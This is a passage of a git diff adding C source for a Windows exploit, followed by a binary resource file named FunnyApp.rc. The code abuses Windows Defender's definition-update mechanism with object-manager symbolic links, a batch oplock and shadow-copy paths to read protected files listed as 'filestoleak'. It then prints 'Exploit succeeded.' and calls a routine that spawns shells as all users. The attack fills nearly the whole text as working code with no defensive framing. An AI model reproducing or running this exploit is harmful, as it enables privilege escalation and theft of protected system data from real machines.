+ { + printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat); + goto cleanup; + } + } + + while (UpdateFilesListCurrent) + { + wchar_t filepath[MAX_PATH] = { 0 }; + wchar_t filename[MAX_PATH] = { 0 }; + wcscpy(filepath, updatepath); + wcscat(filepath, L"\\"); + MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, filename, MAX_PATH); + wcscat(filepath, filename); + + HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL); + + if (!hupdate || hupdate == INVALID_HANDLE_VALUE) + { + printf("Failed to create update file, error : %d", GetLastError()); + goto cleanup; + } + UpdateFilesListCurrent->filecreated = true; + DWORD writtenbytes = 0; + if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL)) + { + printf("Failed to write update file, error : %d", GetLastError()); + CloseHandle(hupdate); + goto cleanup; + } + CloseHandle(hupdate); + printf("Created update file : %ws\n", filepath); + UpdateFilesListCurrent = UpdateFilesListCurrent->next; + + } + + hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); + if (!hdir || hdir == INVALID_HANDLE_VALUE) + { + printf("Failed to open definition updates directory, error : %d", GetLastError()); + goto cleanup; + } + + hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId()); + if (!hcurrentthread) + { + printf("Unexpected error while opening current thread, error : %d", GetLastError()); + goto cleanup; + } + wchar_t thrdupdpath[MAX_PATH] = { 0 }; + wsprintf(thrdupdpath, L"\\\\?\\GLOBALROOT\\Sessions\\%d\\BaseNamedObjects\\%s\\WDUpdateDirectory", _sesid, wuid2); + threadargs.dirpath = thrdupdpath; + threadargs.hntfythread = hcurrentthread; + threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL); + hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid); + + printf("Waiting for windows defender to create a new definition update directory...\n"); + wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\"); + do { + ZeroMemory(buff, sizeof(buff)); + OVERLAPPED od = { 0 }; + od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL); + HANDLE events[2] = { od.hEvent, threadargs.hevent }; + if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0) + { + printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res); + goto cleanup; + } + CloseHandle(od.hEvent); + + PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff; + if (pfni->Action != FILE_ACTION_ADDED) + continue; + + wcscat(newdefupdatedirname, pfni->FileName); + break; + } while (1); + printf("Detected new definition update directory in %ws\n", newdefupdatedirname); + + wcscpy(updatelibpath, L"\\??\\"); + wcscat(updatelibpath, updatepath); + wcscat(updatelibpath, L"\\mpasbase.vdm"); + + RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath); + InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL); + if (ntstat) + { + printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat); + goto cleanup; + } + printf("Setting oplock on %ws\n", updatelibpath); + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + goto cleanup; + } + printf("Waiting for oplock to trigger...\n"); + GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE); + printf("oplock triggered !\n"); + + CloseHandle(hsymlink); + + + + { + UNICODE_STRING _unisrc = { 0 }; + RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory"); + OBJECT_ATTRIBUTES _smobjattr = { 0 }; + InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); + UNICODE_STRING _unidest = { 0 }; + RtlInitUnicodeString(&_unidest, objdirpath); + ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest); + if (ntstat) + { + printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat); + goto cleanup; + } + + RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm"); + ZeroMemory(nttargetfile, sizeof(nttargetfile)); + wcscpy(nttargetfile, fullvsspath); + wcscat(nttargetfile, filestoleak[x]); + RtlInitUnicodeString(&objlinktarget, nttargetfile); + InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); + + ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget); + if (ntstat) + { + printf("Failed to create object manager symbolic link, error : 0x%0.8X\n", ntstat); + goto cleanup; + } + + } + + + CloseHandle(ov.hEvent); + ov.hEvent = NULL; + CloseHandle(ovd.hEvent); + ovd.hEvent = NULL; + CloseHandle(hupdatefile); + hupdatefile = NULL; + + + wcscat(newdefupdatedirname, L"\\mpasbase.vdm"); + + htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE, NULL, NULL, NULL, NULL); + if (!htransaction) + { + printf("Failed to open leaked file.\n"); + goto cleanup; + } + do { + hleakedfile = CreateFileTransacted(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htransaction,NULL,NULL); + } while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile); + printf("Leaked file opened %ws\n", newdefupdatedirname); + + + CloseHandle(hdir); + hdir = NULL; + CloseHandle(hobjlink); + hobjlink = NULL; + printf("Exploit succeeded.\n"); + SetEvent(hreleaseready); + + + DoSpawnShellAsAllUsers(hleakedfile); + CloseHandle(hleakedfile); + hleakedfile = NULL; + RollbackTransaction(htransaction); + CloseHandle(htransaction); + htransaction = NULL; + WaitForSingleObject(hthread, INFINITE); + CloseHandle(hthread); + hthread = NULL; + + + + } + + } + catch (int exception) + { + goto cleanup; + } + +cleanup: + + if(hint) + InternetCloseHandle(hint); + if(hint) + InternetCloseHandle(hint2); + if (exebuff) + free(exebuff); + if(mappedbuff) + UnmapViewOfFile(mappedbuff); + if (hmapping) + CloseHandle(hmapping); + if (hcabctx) + FDIDestroy(hcabctx); + if (hdir) + CloseHandle(hdir); + if (rdb) + HeapFree(GetProcessHeap(), NULL, rdb); + if (ov.hEvent) + CloseHandle(ov.hEvent); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + + if (hreleaseready) + { + SetEvent(hreleaseready); + Sleep(1000); + CloseHandle(hreleaseready); + } + if (hleakedfile) + { + if (filelocked) + UnlockFile(hleakedfile, NULL, NULL, NULL, NULL); + CloseHandle(hleakedfile); + } + if (leakedfilebuff) + free(leakedfilebuff); + if (hcurrentthread) + CloseHandle(hcurrentthread); + if (needupdatedircleanup) + { + wchar_t dirtoclean[MAX_PATH] = { 0 }; + wcscpy(dirtoclean, updatepath); + UpdateFilesListCurrent = UpdateFilesList; + while(UpdateFilesListCurrent) + { + + if (UpdateFilesListCurrent->filecreated) + { + wchar_t filetodel[MAX_PATH] = { 0 }; + wcscpy(filetodel, dirtoclean); + wcscat(filetodel, L"\\"); + MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t)); + DeleteFile(filetodel); + } + if (UpdateFilesListCurrent->hsymlink) { + CloseHandle(UpdateFilesListCurrent->hsymlink); + UpdateFilesListCurrent->hsymlink = NULL; + } + UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent; + UpdateFilesListCurrent = UpdateFilesListCurrent->next; + free(UpdateFilesListOld); + } + RemoveDirectory(dirtoclean); + } + + + return 0; +} + diff --git a/FunnyApp.rc b/FunnyApp.rc new file mode 100644 index 0000000000000000000000000000000000000000..58dec089f1ed377848b2e4f942ebcb67639dd651 GIT binary patch literal 2668 zcmds(Pfx-?5XIlw#P6`;MWYeLlSc(5MnofEG$A2IL`kq33i0A+SAWy8vC`JWKZj~I z%WQ|8+1WSqrhR=Wt1PEu4Rx)t9uzVMnxH#J7iy|2jd-eRjp1~w8wJcU`U$d+Zj3a$ zDXVMNjwkar)FXQ~w5SD6DM!-Q%ls3tV}wON+Fwff*wCFy2@Bgdi0sV&u1?ibTOHMO zs1x;crhT+E)=f2ZiKfNxvG&k3So;_(j^Yg;otI8^?mLh30F)kd&;2K$V>qFM0A98?ay&Ko2@># zCT(tkNdC?}ZeEZ0ZhPHqWcSamHfKH5vJm5CR@NP|PcVPBBkz=~u2E9DZRgJJ^%m! literal 0 HcmV?d00001